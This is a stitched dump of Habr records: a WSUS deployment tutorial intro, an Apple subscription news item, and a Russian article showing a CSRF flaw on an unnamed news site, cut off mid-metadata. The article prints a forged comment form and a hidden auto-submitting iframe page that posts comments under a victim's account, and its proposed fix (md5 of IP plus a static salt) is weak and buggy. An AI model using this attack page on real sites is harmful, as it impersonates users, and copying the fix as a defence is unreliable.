В своей предыдущей статье про создание msi-пакетов я описал способ как запаковать любое приложение в msi. MSI-пакеты я использовал для развертывания приложений через GPO, но к сожалению данный метод меня крайне разочаровал по нескольким причинам: установка только при загрузке компьютера, т.е. пользователю приходится дожидаться окончания установки, а иногда требуется побыстрее начать работу. Из этого вытекает, что некоторые не дожидаются и грубо перезагружают компьютер, результатом чего является недоустановленное ПО. Мне все это надоело и я вспомнил, что где-то читал про установку сторонних обновлений через WSUS. Действительно, способ относительно не новый и осуществляется с помощью Local Update Publisher, про установку которого есть достаточно полная статья. Особенностью данного метода развертывания ПО помимо всех преимуществ WSUS является возможность установки из exe и нет необходимости перепаковки в msi. И если с публикацией msi все понятно, то я хочу рассказать про установку через exe, в которой есть особенности.
article
1,346,320,020
{ "commentsCount": 6, "favoritesCount": 447, "readingCount": 89949, "score": 7, "votesCount": 9, "votesCountPlus": 8, "votesCountMinus": 1 }
[]
[ "sys_admin" ]
[ "admin" ]
[ "WSUS", "установка приложений" ]
3
tutorial
null
{ "id": [ 5098037, 5098043, 5098084, 5101401, 5105954, 5106057 ], "parent_id": [ null, null, 5098043, 5098084, 5101401, 5105954 ], "level": [ 0, 0, 1, 2, 3, 4 ], "time_published": [ 1346333908, 1346333958, 1346334687, 1346429665, 1346657445, 1346660510 ], "score": [ 0, 0, 0, 0, 0, 0 ], "votes": [ 2, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">WSUS RO DAH!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я для себя открыл чудесное средство установки — WPKG ( <a href=\"http://habrahabr.ru/post/136314/\">habrahabr.ru/post/136314/</a> )<br/>\r\nИм и пользуюсь. И Вам советую.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за ссылку, но в чем преимущества перед WSUS? WPKG же вроде не умеет работать через http или ftp? WSUS к тому же позволяет работу через интернет и иерархию серверов. Я уже говорил в постскриптуме, что не нашел удобного и бесплатного средства развертывания ПО. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Он работает просто через расшаренную папку. В первый раз придется чуточку помучиться с настройками, но потом весь процесс просто сводится к добавлению строчки в конфиги. GUI конечно штука удобная у Майкрософта, но WPKG мне был удобнее.<br/>\r\nСхема действия грубо говоря такая — на клиенте работает служба, стартует один раз при логине или руками. Она проверяет что должно быть на компе и что есть. Если чего-то не хватает или лишнее, или обновилось, — лезет на шару и через командную строчку все ставит. <br/>\r\nСтрочек установки можно надергать с офф. сайта. Есть для всех популярных и не очень продуктов.<br/>\r\nВ общем- я всячески вам советую эту штуку. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">остаётся узнать, как всем клиентам установить эту службу — через wsus? )</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Можно батником через GPO. Или руками. Через батник даже удобнее, потому что подсовывается конфиг файл с адресом сервера, логином-паролем.<br/>\r\n<br/>\r\nили да, через WSUS :))<br/>\r\n</div>" ], "message_markdown": [ "WSUS RO DAH!", "Я для себя открыл чудесное средство установки — WPKG ( habrahabr.ru/post/136314/ )\nИм и пользуюсь. И Вам советую.", "Спасибо за ссылку, но в чем преимущества перед WSUS? WPKG же вроде не умеет работать через http или ftp? WSUS к тому же позволяет работу через интернет и иерархию серверов. Я уже говорил в постскриптуме, что не нашел удобного и бесплатного средства развертывания ПО.", "Он работает просто через расшаренную папку. В первый раз придется чуточку помучиться с настройками, но потом весь процесс просто сводится к добавлению строчки в конфиги. GUI конечно штука удобная у Майкрософта, но WPKG мне был удобнее.\nСхема действия грубо говоря такая — на клиенте работает служба, стартует один раз при логине или руками. Она проверяет что должно быть на компе и что есть. Если чего-то не хватает или лишнее, или обновилось, — лезет на шару и через командную строчку все ставит.\nСтрочек установки можно надергать с офф. сайта. Есть для всех популярных и не очень продуктов.\nВ общем- я всячески вам советую эту штуку.", "остаётся узнать, как всем клиентам установить эту службу — через wsus? )", "Можно батником через GPO. Или руками. Через батник даже удобнее, потому что подсовывается конфиг файл с адресом сервера, логином-паролем.\nили да, через WSUS :))" ], "author": [ "SovGVD (SovGVD)", "Сухарев Петр (Ingtar)", "Выдрин Михаил (yosemity)", "Сухарев Петр (Ingtar)", "Влад (vladon)", "Сухарев Петр (Ingtar)" ], "children": [ [], [ 5098084 ], [ 5101401 ], [ 5105954 ], [ 5106057 ], [] ] }
714,970
ru
https://habr.com/ru/post/714970/
Apple отчиталась о 935 млн пользователей, оформивших платные подписки на сервисы и услуги компании
Apple отчиталась о 935 млн пользователей, оформивших платные подписки на сервисы и услуги компании. В первом квартале финансового года цифровые продукты принесли компании более 20 млрд долларов. В перечень сервис по подписке от Apple входит iCloud, Apple Music, Apple Arcade, Apple Fitness+, Apple News+, Apple Music и Apple TV+. К ним же можно отнести тарифные планы Apple One, предоставляющие доступ сразу к нескольким сервисам компании по более выгодной цене. Теперь платными сервисами пользуется 935 млн пользователей по всему миру. Также Apple оказывает услуги за отдельную плату и берёт комиссию с платежей. К таким сервисам можно отнести Apple Pay, Tap to Pay, Apple Care, Apple Finanial Services и Business Essentials. За первый финансовый квартал все эти сервисы и услуги принесли компании 20,8 млрд долларов, что на 6% больше, чем в первом квартале прошлого года, когда Apple заработала на них 19,5 млрд долларов. Также компания рассказала в отчёте, что сталкивается с нормативным давлением в нескольких регионах, что в долгосрочной перспективе может повлиять на выручку. Речь идёт о Нидерландах и Южной Корее, где компании пришлось разрешить сторонние платежи для некоторых типов приложений в App Store. Также Apple повысила цены на некоторые сервисы. Apple Music подорожал на 1 доллар для индивидуальных планов и на 2 доллара для семейных. Вместе с этим компания расширила каталог треков до 100 млн композиций и добавила режим караоке Apple Sing. Вместе с этим в начале февраля Apple сообщила о 2 млрд активных устройств у пользователей по всему миру. В отчёте учитываются iPhone, iPad, Mac и другие аппаратные продукты. Несмотря на это, в первом квартале Apple впервые за 4 года зафиксировала падение выручки. На это повлияла общая экономическая ситуация и сбои в производстве iPhone на предприятиях в Китае.
<div xmlns="http://www.w3.org/1999/xhtml"><p>Apple <a href="https://techcrunch.com/2023/02/03/apple-says-it-now-has-935-million-paid-subscriptions/" rel="noopener noreferrer nofollow">отчиталась</a> о 935 млн пользователей, оформивших платные подписки на сервисы и услуги компании. В первом квартале финансового года цифровые продукты принесли компании более 20 млрд долларов.</p><p>В перечень сервис по подписке от Apple входит iCloud, Apple Music, Apple Arcade, Apple Fitness+, Apple News+, Apple Music и Apple TV+. К ним же можно отнести тарифные планы Apple One, предоставляющие доступ сразу к нескольким сервисам компании по более выгодной цене. Теперь платными сервисами пользуется 935 млн пользователей по всему миру.</p><p>Также Apple оказывает услуги за отдельную плату и берёт комиссию с платежей. К таким сервисам можно отнести Apple Pay, Tap to Pay, Apple Care, Apple Finanial Services и Business Essentials.</p><p>За первый финансовый квартал все эти сервисы и услуги принесли компании 20,8 млрд долларов, что на 6% больше, чем в первом квартале прошлого года, когда Apple заработала на них 19,5 млрд долларов. Также компания рассказала в отчёте, что сталкивается с нормативным давлением в нескольких регионах, что в долгосрочной перспективе может повлиять на выручку. Речь идёт о Нидерландах и Южной Корее, где компании пришлось разрешить сторонние платежи для некоторых типов приложений в App Store.</p><p>Также Apple повысила цены на некоторые сервисы. Apple Music подорожал на 1 доллар для индивидуальных планов и на 2 доллара для семейных. Вместе с этим компания расширила каталог треков до 100 млн композиций и добавила режим караоке Apple Sing.</p><p>Вместе с этим в начале февраля Apple <a href="https://habr.com/ru/news/t/714586/" rel="noopener noreferrer nofollow">сообщила</a> о 2 млрд активных устройств у пользователей по всему миру. В отчёте учитываются iPhone, iPad, Mac и другие аппаратные продукты. Несмотря на это, в первом квартале Apple впервые за 4 года <a href="https://habr.com/ru/news/t/714620/" rel="noopener noreferrer nofollow">зафиксировала</a> падение выручки. На это повлияла общая экономическая ситуация и сбои в производстве iPhone на предприятиях в Китае.</p><p></p></div>
Даниил Шатухин (daniilshat)
null
null
<p>Apple <a href="https://techcrunch.com/2023/02/03/apple-says-it-now-has-935-million-paid-subscriptions/" rel="noopener noreferrer nofollow">отчиталась</a> о 935 млн пользователей, оформивших платные подписки на сервисы и услуги компании. В первом квартале финансового года цифровые продукты принесли компании более 20 млрд долларов.</p><p></p>
Apple отчиталась о 935 млн пользователей, оформивших платные подписки на сервисы и услуги компании. В первом квартале финансового года цифровые продукты принесли компании более 20 млрд долларов.
news
1,675,618,501
{ "commentsCount": 0, "favoritesCount": 0, "readingCount": 898, "score": 3, "votesCount": 3, "votesCountPlus": 3, "votesCountMinus": 0 }
[]
[ "finance", "itcompanies" ]
[ "management", "popsci" ]
[ "apple", "сервисы", "финансы", "подписки", "услуги", "отчёт" ]
2
null
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
131,028
ru
https://habr.com/ru/post/131028/
Имеют ли право пренебрегать безопасностью пользователей крупные компании?
#### Лирическое отступление Представим себе ситуацию... Вы простой пользователь интернета. Ежедневно посещаете различные сайты, читаете там новости, общаетесь в социальных сетях, просматриваете почту и т.д. Все как обычно. Но в один прекрасный день в дверь вашей квартиры стучат. На вопрос «кто там?» вам отвечают: «Откройте, полиция!». Берут вас под белы рученьки и сопровождают в ближайший отдел. Вы недоумеваете «за что?». В ответ слышите: «Систематическая публикация в интернете сообщений призывающих к разжиганию межнациональной розни». Как? Почему? Никогда не писал подобного рода сообщений! В ответ на эти претензии вам показывают ряд сообщений на некоторых известных информационных ресурсах которые действительно написаны из под вашего аккаунта и содержание которых явно противоречит законам РФ. Что самое интересно, даже IP-адрес с которого были отосланы сообщения совпадает с вашим домашним. Возможно, это кошка, которая живет с вами, гуляя по клавиатуре, случайно набрала эти сообщения за вас и разослала по разным сайтам. Возможно, вам даже поверят... И срок в 2 года лишения свободы неявно замаячил на горизонте. Так что же все-таки произошло? А произошло следующее... Так называемые «известные информационные ресурсы» крайне безответственно подошли к безопасности своих пользователей. Именно из-за дырявого кода написанного программистами, сами того не подозревая, вы стали жертвой злоумышленников. #### Немного теории Не будем долго ходить вокруг да около, сразу перейдем к делу. Есть такой тип уязвимостей, как CSRF. Многие знают, что это такое, но для тех, кто не в курсе приведу вырезку из Wikipedia: CSRF (англ. Сross Site Request Forgery — «Подделка межсайтовых запросов», также известен как XSRF) — вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом. Как раз такая уязвимость была найдена на одном «известном информационном ресурсе» (посещаемость в сутки переваливает за 2 000 000). Я намеренно не привожу здесь названия этого ресурса, т.к. спустя неделю (!) после того, как администрация была уведомлена о найденной «дыре», эта самая «дыра» до сих пор не заштопана. #### Немного уличной магии У нашего сайта есть раздел «Новости». Они довольно часто обновляются, и практически к каждой новости можно оставлять свои комментарии. В среднем на одну новость оставляется порядка нескольких сотен комментариев. Как может быть проэксплуатирована найденная уязвимость? Пытаемся добавить свой комментарий. Перед нами возникает форма, которую нужно заполнить для отправки сообщения. Открываем исходный код страницы. Ищем код, отвечающий за формирование формы отправки сообщения. [code] <form onsubmit="return checkNCForm(this);" method="post" name="comment" action="/politics/7082376/comments/#add_begin"> <input type="hidden" value="1" name="save"> <input type="hidden" value="1" name="begin_reply"> <div class="description"> Запрещено размещение сообщений, нарушающих законодательство РФ и/или общепринятые понятия об этике общения.<br><br> В частности сообщений:<br> - способствующих разжиганию межнациональной вражды;<br> - пропагандирующих наркотики, порнографию, проституцию;<br> - нарушающих авторские и другие права третьих лиц;<br> - компрометирующих любые группы людей по любому признаку;<br> - оскорбляющих и унижающих человеческое достоинство;<br> - содержащих ненормативную лексику;<br> - являющихся спамом. </div> <input type="hidden" value="1" name="doauth"> <div class="form"> <table> <tbody><tr> <th>Ваше имя:</th> <td><input type="text" class="readonly" readonly="readonly" value="Петрик Дмитрий"></td> </tr> <tr> <th>Тема:</th> <td><input type="text" value="" maxlength="60" name="title"></td> </tr> <tr> <th>Текст:</th> <td><textarea rows="5" cols="30" name="text"></textarea></td> </tr> <tr> <th></th> <td class="submit"> <input type="submit" value="Добавить"> <a href="/politics/7082376/comments/?" onclick="return closeNCForm();">Закрыть</a> </td> </tr> </tbody></table> </div></form> [/code] Из содержания видим, что нигде не проверяется подлинность отправителя. Обычно это какой-нибудь hash из различных параметров. Уберем из исходной формы все лишнее и заполним поля нужным текстом. [code] <form method="post" name="comment" action="http://news.example.ru/politics/7082376/comments/#add_begin" > <input type="hidden" value="1" name="save"> <input type="hidden" value="1" name="begin_reply"> <input type="hidden" value="1" name="doauth"> <input type="text" class="readonly" readonly="readonly" value="Витя Пчелкин"> <input type="text" value="Комментарий" maxlength="60" name="title"> <textarea rows="5" cols="30" name="text">Интересная новость :)</textarea> <input type = "hidden" value="Добавить"> <input type = "submit"> </form> [/code] Форма готова, поля заполнены. Теперь атакующему необходимо сделать так, чтобы когда пользователь заходит на его сайт, из под учетной записи пользователя без его ведома в указанную новость отправлялось сообщение сформированное атакующим. Для этого злоумышленник помещает вновь сформированную форму в iframe, который сделает невидимым для пользователя. Сабмитить форму будет с помощью JavaScript. Код атакующей странички будет примерно такой: [code] <script> function submit_form(){ window.evilframe.document.forms[0].submit(); } </script> <iframe name='evilframe' src='form.html' style='display:none' onLoad=submit_form();></iframe> evil page in action... [/code] Где form.html — фейковая форма. После того, как пользователь заходит на атакующий сайт, на нашем «информационном ресурсе», в комментариях к новости определенной злоумышленником, он мог бы увидеть свой комментарий: Вот только, скорее всего, он даже и знать не будет о том, что где-то оставил комментарий. Данную уязвимость я тестировал на себе, а так же попросил поучаствовать в этом одну свою знакомую заранее предупредив об эксперименте. После посещения определенной ссылки результат был ожидаемый: #### Как это «лечится»? Исправить эту уязвимость можно добавив в форму одно скрытое поле, в котором по определенному алгоритму формируется определенный набор символов. Чтобы атакующему удалось провести атаку типа CSRF ему для начала нужно правильно подобрать этот набор символов. Приведу простой пример. В данном случае в роли определенного набора символов будет выступать hash md5. Брать его будем от выражения: [IP адрес пользователя]+[статический набор случайных символов]. [code] $hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb'); echo '<input name="hash" type="hidden" value="'.$hash.'">'; [/code] На сервере после отправки формы проверяем наш hash. [code] $hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb'); if (isset($_POST["otvet"]) && ($hash == $_POST["hash"])) {Выполняем какие-то действия} else {Возможно, пытаются подделать запрос}; [/code] #### Коротко о главном Этот год стал знаковым в области проблем информационной безопасности. Множество сайтов крупных компаний было взломано. В большинстве случаев эти взломы были осуществлены в связи с тем, что руководство компаний не уделяло должного внимания вопросам информационной безопасности. Как правило, в первую очередь страдали простые пользователи этих ресурсов: уводились учетные данные, почтовые ящики, данные кредитных карт и т.д. В связи с этим хотелось бы вернуться к вопросу в заголовке этого топика. Имеют ли право пренебрегать безопасностью своих пользователей крупные компании? Можно ли экономить на специалистах в области информационной безопасности в ущерб безопасности клиентов/пользователей? Должна ли быть наказуема халатная небрежность, когда в течении недель или даже месяцев, после обнаружения критических уязвимостей они остаются на своих местах? Может нужна какая-та стандартизация, которой должны придерживаться крупные компании в своих сервисах? Давайте порассуждаем на эту тему, а может и предпримем какие-то действия чтобы пошатнуть сложившийся уклад... Upd: Немного изменил название топика. А то грубо как-то получилось и не совсем корректно :(
<div xmlns="http://www.w3.org/1999/xhtml"><h4>Лирическое отступление</h4><br/> Представим себе ситуацию… Вы простой пользователь интернета. Ежедневно посещаете различные сайты, читаете там новости, общаетесь в социальных сетях, просматриваете почту и т.д. Все как обычно. Но в один прекрасный день в дверь вашей квартиры стучат. На вопрос «кто там?» вам отвечают: «Откройте, полиция!». Берут вас под белы рученьки и сопровождают в ближайший отдел. Вы недоумеваете «за что?». В ответ слышите: «Систематическая публикация в интернете сообщений призывающих к разжиганию межнациональной розни». Как? Почему? Никогда не писал подобного рода сообщений! В ответ на эти претензии вам показывают ряд сообщений на некоторых известных информационных ресурсах которые действительно написаны из под вашего аккаунта и содержание которых явно противоречит законам РФ. Что самое интересно, даже IP-адрес с которого были отосланы сообщения совпадает с вашим домашним. Возможно, это кошка, которая живет с вами, гуляя по клавиатуре, случайно набрала эти сообщения за вас и разослала по разным сайтам. Возможно, вам даже поверят… И срок в 2 года лишения свободы неявно замаячил на горизонте.<br/> Так что же все-таки произошло? А произошло следующее…<br/> <a name="habracut"></a><br/> Так называемые «известные информационные ресурсы» крайне безответственно подошли к безопасности своих пользователей. Именно из-за дырявого кода написанного программистами, сами того не подозревая, вы стали жертвой злоумышленников.<br/> <br/> <h4>Немного теории</h4><br/> Не будем долго ходить вокруг да около, сразу перейдем к делу. Есть такой тип уязвимостей, как CSRF. Многие знают, что это такое, но для тех, кто не в курсе приведу вырезку из Wikipedia:<br/> CSRF (англ. Сross Site Request Forgery — «Подделка межсайтовых запросов», также известен как XSRF) — вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.<br/> Как раз такая уязвимость была найдена на одном «известном информационном ресурсе» (посещаемость в сутки переваливает за 2 000 000). Я намеренно не привожу здесь названия этого ресурса, т.к. спустя неделю (!) после того, как администрация была уведомлена о найденной «дыре», эта самая «дыра» до сих пор не заштопана.<br/> <br/> <h4>Немного уличной магии</h4><br/> У нашего сайта есть раздел «Новости». Они довольно часто обновляются, и практически к каждой новости можно оставлять свои комментарии. В среднем на одну новость оставляется порядка нескольких сотен комментариев. Как может быть проэксплуатирована найденная уязвимость?<br/> Пытаемся добавить свой комментарий. Перед нами возникает форма, которую нужно заполнить для отправки сообщения.<br/> <img src="https://habrastorage.org/r/w780q1/storage1/37dcbd9f/fb20cecc/ca49816b/7f1a3bb7.jpg" data-src="https://habrastorage.org/storage1/37dcbd9f/fb20cecc/ca49816b/7f1a3bb7.jpg" data-blurred="true"/><br/> Открываем исходный код страницы. Ищем код, отвечающий за формирование формы отправки сообщения.<br/> <pre><code class="html">&lt;form onsubmit="return checkNCForm(this);" method="post" name="comment" action="/politics/7082376/comments/#add_begin"> &lt;input type="hidden" value="1" name="save"> &lt;input type="hidden" value="1" name="begin_reply"> &lt;div class="description"> Запрещено размещение сообщений, нарушающих законодательство РФ и/или общепринятые понятия об этике общения.&lt;br>&lt;br> В частности сообщений:&lt;br> - способствующих разжиганию межнациональной вражды;&lt;br> - пропагандирующих наркотики, порнографию, проституцию;&lt;br> - нарушающих авторские и другие права третьих лиц;&lt;br> - компрометирующих любые группы людей по любому признаку;&lt;br> - оскорбляющих и унижающих человеческое достоинство;&lt;br> - содержащих ненормативную лексику;&lt;br> - являющихся спамом.        &lt;/div> &lt;input type="hidden" value="1" name="doauth"> &lt;div class="form"> &lt;table> &lt;tbody>&lt;tr> &lt;th>Ваше имя:&lt;/th> &lt;td>&lt;input type="text" class="readonly" readonly="readonly" value="Петрик Дмитрий">&lt;/td> &lt;/tr> &lt;tr> &lt;th>Тема:&lt;/th> &lt;td>&lt;input type="text" value="" maxlength="60" name="title">&lt;/td> &lt;/tr> &lt;tr> &lt;th>Текст:&lt;/th> &lt;td>&lt;textarea rows="5" cols="30" name="text">&lt;/textarea>&lt;/td> &lt;/tr> &lt;tr> &lt;th>&lt;/th> &lt;td class="submit"> &lt;input type="submit" value="Добавить"> &lt;a href="/politics/7082376/comments/?" onclick="return closeNCForm();">Закрыть&lt;/a> &lt;/td> &lt;/tr> &lt;/tbody>&lt;/table> &lt;/div>&lt;/form></code></pre><br/> Из содержания видим, что нигде не проверяется подлинность отправителя. Обычно это какой-нибудь hash из различных параметров. Уберем из исходной формы все лишнее и заполним поля нужным текстом.<br/> <pre><code class="html">&lt;form method="post" name="comment" action="http://news.example.ru/politics/7082376/comments/#add_begin" > &lt;input type="hidden" value="1" name="save"> &lt;input type="hidden" value="1" name="begin_reply"> &lt;input type="hidden" value="1" name="doauth"> &lt;input type="text" class="readonly" readonly="readonly" value="Витя Пчелкин"> &lt;input type="text" value="Комментарий" maxlength="60" name="title"> &lt;textarea rows="5" cols="30" name="text">Интересная новость :)&lt;/textarea> &lt;input type = "hidden" value="Добавить"> &lt;input type = "submit"> &lt;/form></code></pre><br/> Форма готова, поля заполнены. Теперь атакующему необходимо сделать так, чтобы когда пользователь заходит на его сайт, из под учетной записи пользователя без его ведома в указанную новость отправлялось сообщение сформированное атакующим. Для этого злоумышленник помещает вновь сформированную форму в iframe, который сделает невидимым для пользователя. Сабмитить форму будет с помощью JavaScript. Код атакующей странички будет примерно такой:<br/> <pre><code class="html">&lt;script> function submit_form(){ window.evilframe.document.forms[0].submit(); } &lt;/script> &lt;iframe name='evilframe' src='form.html' style='display:none' onLoad=submit_form();>&lt;/iframe> evil page in action...</code></pre><br/> Где form.html — фейковая форма.<br/> После того, как пользователь заходит на атакующий сайт, на нашем «информационном ресурсе», в комментариях к новости определенной злоумышленником, он мог бы увидеть свой комментарий:<br/> <img src="https://habrastorage.org/r/w780q1/storage1/f71aa51e/c84a258f/de54cc32/9f3a214f.jpg" data-src="https://habrastorage.org/storage1/f71aa51e/c84a258f/de54cc32/9f3a214f.jpg" data-blurred="true"/><br/> Вот только, скорее всего, он даже и знать не будет о том, что где-то оставил комментарий.<br/> Данную уязвимость я тестировал на себе, а так же попросил поучаствовать в этом одну свою знакомую заранее предупредив об эксперименте. После посещения определенной ссылки результат был ожидаемый:<br/> <img src="https://habrastorage.org/r/w780q1/storage1/481ecb1a/c8a5dec5/698a2650/98e65516.jpg" data-src="https://habrastorage.org/storage1/481ecb1a/c8a5dec5/698a2650/98e65516.jpg" data-blurred="true"/><br/> <h4>Как это «лечится»?</h4><br/> Исправить эту уязвимость можно добавив в форму одно скрытое поле, в котором по определенному алгоритму формируется определенный набор символов. Чтобы атакующему удалось провести атаку типа CSRF ему для начала нужно правильно подобрать этот набор символов. <br/> Приведу простой пример. В данном случае в роли определенного набора символов будет выступать hash md5. Брать его будем от выражения: [IP адрес пользователя]+[статический набор случайных символов].<br/> <pre><code class="php">$hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb'); echo '&lt;input name="hash" type="hidden" value="'.$hash.'">';</code></pre><br/> На сервере после отправки формы проверяем наш hash.<br/> <pre><code class="php">$hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb'); if (isset($_POST["otvet"]) &amp;&amp; ($hash == $_POST["hash"])) {Выполняем какие-то действия} else {Возможно, пытаются подделать запрос};</code></pre><br/> <h4>Коротко о главном</h4><br/> Этот год стал знаковым в области проблем информационной безопасности. Множество сайтов крупных компаний было взломано. В большинстве случаев эти взломы были осуществлены в связи с тем, что руководство компаний не уделяло должного внимания вопросам информационной безопасности. Как правило, в первую очередь страдали простые пользователи этих ресурсов: уводились учетные данные, почтовые ящики, данные кредитных карт и т.д.<br/> В связи с этим хотелось бы вернуться к вопросу в заголовке этого топика. Имеют ли право пренебрегать безопасностью своих пользователей крупные компании? Можно ли экономить на специалистах в области информационной безопасности в ущерб безопасности клиентов/пользователей? Должна ли быть наказуема халатная небрежность, когда в течении недель или даже месяцев, после обнаружения критических уязвимостей они остаются на своих местах? Может нужна какая-та стандартизация, которой должны придерживаться крупные компании в своих сервисах? Давайте порассуждаем на эту тему, а может и предпримем какие-то действия чтобы пошатнуть сложившийся уклад…<br/> <br/> <b>Upd:</b> Немного изменил название топика. А то грубо как-то получилось и не совсем корректно :(</div>
Дмитрий Петрик (Flexo)
null
null
<h4>Лирическое отступление</h4><br/> Представим себе ситуацию… Вы простой пользователь интернета. Ежедневно посещаете различные сайты, читаете там новости, общаетесь в социальных сетях, просматриваете почту и т.д. Все как обычно. Но в один прекрасный день в дверь вашей квартиры стучат. На вопрос «кто там?» вам отвечают: «Откройте, полиция!». Берут вас под белы рученьки и сопровождают в ближайший отдел. Вы недоумеваете «за что?». В ответ слышите: «Систематическая публикация в интернете сообщений призывающих к разжиганию межнациональной розни». Как? Почему? Никогда не писал подобного рода сообщений! В ответ на эти претензии вам показывают ряд сообщений на некоторых известных информационных ресурсах которые действительно написаны из под вашего аккаунта и содержание которых явно противоречит законам РФ. Что самое интересно, даже IP-адрес с которого были отосланы сообщения совпадает с вашим домашним. Возможно, это кошка, которая живет с вами, гуляя по клавиатуре, случайно набрала эти сообщения за вас и разослала по разным сайтам. Возможно, вам даже поверят… И срок в 2 года лишения свободы неявно замаячил на горизонте.<br/> Так что же все-таки произошло? А произошло следующее…<br/>
#### Лирическое отступление Представим себе ситуацию... Вы простой пользователь интернета. Ежедневно посещаете различные сайты, читаете там новости, общаетесь в социальных сетях, просматриваете почту и т.д. Все как обычно. Но в один прекрасный день в дверь вашей квартиры стучат. На вопрос «кто там?» вам отвечают: «Откройте, полиция!». Берут вас под белы рученьки и сопровождают в ближайший отдел. Вы недоумеваете «за что?». В ответ слышите: «Систематическая публикация в интернете сообщений призывающих к разжиганию межнациональной розни». Как? Почему? Никогда не писал подобного рода сообщений! В ответ на эти претензии вам показывают ряд сообщений на некоторых известных информационных ресурсах которые действительно написаны из под вашего аккаунта и содержание которых явно противоречит законам РФ. Что самое интересно, даже IP-адрес с которого были отосланы сообщения совпадает с вашим домашним. Возможно, это кошка, которая живет с вами, гуляя по клавиатуре, случайно набрала эти сообщения за вас и разослала по разным сайтам. Возможно, вам даже поверят... И срок в 2 года лишения свободы неявно замаячил на горизонте. Так что же все-таки произошло? А произошло следующее...
article
1,319,387,813
{ "commentsCount": 89, "favoritesCount": 60, "readingCount": 1318, "score": 90, "votesCount": 120, "votesCountPlus": 105, "votesCountMinus": 15 }
[]
[ "infosecurity" ]
[ "develop" ]
[ "уязвимости", "информационная безопасность", "csrf", "oisd" ]
6
null
null
{ "id": [ 4345572, 4345594, 4345602, 4345623, 4345644, 4345673, 4345816, 4345858, 4345868, 4346130, 4346189, 4346240, 4346263, 4346564, 4346646, 4346648, 4346712, 4346740, 4346747, 4346767, 4346796, 4346822, 4346847, 4346853, 4346855, 4346858, 4346866, 4346872, 4346873, 4346876, 4346884, 4346893, 4346926, 4346952, 4346964, 4346966, 4346970, 4346981, 4346983, 4346986, 4346987, 4346989, 4347006, 4347057, 4347066, 4347070, 4347073, 4347075, 4347076, 4347089, 4347102, 4347124, 4347127, 4347137, 4347138, 4347142, 4347147, 4347183, 4347188, 4347191, 4347197, 4347204, 4347205, 4347230, 4347253, 4347259, 4347286, 4347304, 4347308, 4347400, 4347410, 4347443, 4347446, 4347457, 4347519, 4347550, 4347629, 4347637, 4347653, 4347662, 4347698, 4348211, 4348436, 4348476, 4349045, 4349091, 4349193, 4349326, 4349677 ], "parent_id": [ null, null, null, 4345572, null, null, 4345623, 4345623, 4345858, null, 4345602, null, 4346130, 4346130, 4346130, 4346564, null, 4346130, 4346648, 4346646, null, null, 4346712, null, 4346747, null, 4345623, 4346858, 4346872, null, null, 4345868, 4346648, null, 4346767, 4346822, 4346847, 4346966, 4346876, 4346926, null, 4345644, 4346986, 4345673, 4345594, 4346853, 4347066, 4346876, null, 4346966, 4346981, 4346822, 4347124, 4345816, null, 4346876, null, 4347076, null, 4347147, null, 4347006, null, 4347197, 4346564, 4347006, null, 4347147, 4347070, null, 4347204, null, null, 4347400, 4347457, 4345572, 4347519, null, 4347629, 4347519, 4347519, 4347259, 4348211, 4347138, 4347400, 4346853, null, null, 4347073 ], "level": [ 0, 0, 0, 1, 0, 0, 2, 2, 3, 0, 1, 0, 1, 1, 1, 2, 0, 1, 3, 2, 0, 0, 1, 0, 4, 0, 2, 1, 2, 0, 0, 4, 3, 0, 3, 1, 2, 2, 1, 4, 0, 1, 5, 1, 1, 1, 2, 1, 0, 2, 3, 1, 2, 3, 0, 1, 0, 1, 0, 1, 0, 6, 0, 1, 2, 6, 0, 1, 2, 0, 7, 0, 0, 1, 2, 1, 3, 0, 4, 3, 3, 7, 8, 1, 1, 1, 0, 0, 3 ], "time_published": [ 1319388074, 1319388267, 1319388368, 1319388532, 1319388662, 1319388921, 1319389973, 1319390366, 1319390456, 1319392284, 1319392660, 1319392923, 1319393049, 1319396101, 1319400009, 1319400099, 1319401077, 1319401466, 1319401602, 1319401790, 1319402196, 1319402704, 1319403679, 1319403812, 1319403875, 1319403933, 1319404354, 1319404552, 1319404605, 1319404722, 1319404910, 1319408569, 1319410149, 1319411698, 1319412622, 1319412728, 1319413036, 1319413574, 1319413690, 1319413984, 1319414345, 1319414414, 1319417280, 1319425825, 1319426933, 1319427270, 1319427403, 1319427537, 1319427588, 1319428766, 1319429823, 1319431330, 1319431587, 1319432045, 1319432159, 1319432304, 1319432480, 1319434720, 1319434936, 1319435032, 1319435225, 1319435511, 1319435540, 1319436279, 1319436841, 1319437032, 1319437814, 1319438238, 1319438362, 1319440913, 1319441269, 1319442106, 1319442301, 1319442588, 1319444335, 1319445063, 1319446541, 1319446818, 1319447099, 1319447213, 1319447825, 1319458153, 1319462831, 1319463666, 1319474494, 1319475640, 1319477464, 1319480147, 1319487655 ], "score": [ 52, 5, 1, 0, 17, 4, 6, 0, 1, -10, 0, 1, 8, 0, 8, 2, 7, 0, 0, 0, 0, 22, -2, 0, 0, 1, 9, 0, 0, 0, 1, 19, 3, 0, 3, 4, 8, 10, 2, 